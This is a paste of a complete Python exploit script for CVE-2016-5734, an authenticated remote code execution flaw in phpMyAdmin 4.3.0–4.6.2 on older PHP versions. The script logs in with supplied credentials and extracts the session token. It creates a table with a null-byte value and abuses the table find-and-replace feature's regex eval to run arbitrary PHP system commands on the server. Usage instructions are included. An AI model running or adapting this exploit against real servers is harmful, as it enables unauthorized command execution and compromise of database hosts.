· 9 years ago · May 19, 2017, 01:00 PM
1#!/usr/bin/env python
2
3"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
4Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
5CVE: CVE-2016-5734
6Author: https://twitter.com/iamsecurity
7run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
8"""
9
10import requests
11import argparse
12import sys
13
14__author__ = "@iamsecurity"
15
16if __name__ == '__main__':
17 parser = argparse.ArgumentParser()
18 parser.add_argument("url", type=str, help="URL with path to PMA")
19 parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
20 parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
21 parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
22 parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
23 parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
24 arguments = parser.parse_args()
25 url_to_pma = arguments.url
26 uname = arguments.user
27 upass = arguments.pwd
28 if arguments.dbs:
29 db = arguments.dbs
30 else:
31 db = "test"
32 token = False
33 custom_table = False
34 if arguments.table:
35 custom_table = True
36 table = arguments.table
37 else:
38 table = "prgpwn"
39 if arguments.cmd:
40 payload = arguments.cmd
41 else:
42 payload = "system('uname -a');"
43
44 size = 32
45 s = requests.Session()
46 # you can manually add proxy support it's very simple ;)
47 # s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
48 s.verify = False
49 sql = '''CREATE TABLE `{0}` (
50 `first` varchar(10) CHARACTER SET utf8 NOT NULL
51 ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
52 INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
53 '''.format(table)
54
55 # get_token
56 resp = s.post(url_to_pma + "/?lang=en", dict(
57 pma_username=uname,
58 pma_password=upass
59 ))
60 if resp.status_code is 200:
61 token_place = resp.text.find("token=") + 6
62 token = resp.text[token_place:token_place + 32]
63 if token is False:
64 print("Cannot get valid authorization token.")
65 sys.exit(1)
66
67 if custom_table is False:
68 data = {
69 "is_js_confirmed": "0",
70 "db": db,
71 "token": token,
72 "pos": "0",
73 "sql_query": sql,
74 "sql_delimiter": ";",
75 "show_query": "0",
76 "fk_checks": "0",
77 "SQL": "Go",
78 "ajax_request": "true",
79 "ajax_page_request": "true",
80 }
81 resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
82 if resp.status_code == 200:
83 if "success" in resp.json():
84 if resp.json()["success"] is False:
85 first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
86 error = first[:first.find("</code>")]
87 if "already exists" in error:
88 print(error)
89 else:
90 print("ERROR: " + error)
91 sys.exit(1)
92 # build exploit
93 exploit = {
94 "db": db,
95 "table": table,
96 "token": token,
97 "goto": "sql.php",
98 "find": "0/e\0",
99 "replaceWith": payload,
100 "columnIndex": "0",
101 "useRegex": "on",
102 "submit": "Go",
103 "ajax_request": "true"
104 }
105 resp = s.post(
106 url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
107 )
108 if resp.status_code == 200:
109 result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
110 if len(result):
111 print("result: " + result)
112 sys.exit(0)
113 print(
114 "Exploit failed!\n"
115 "Try to manually set exploit parameters like --table, --database and --token.\n"
116 "Remember that servers with PHP version greater than 5.4.6"
117 " is not exploitable, because of warning about null byte in regexp"
118 )
119 sys.exit(1)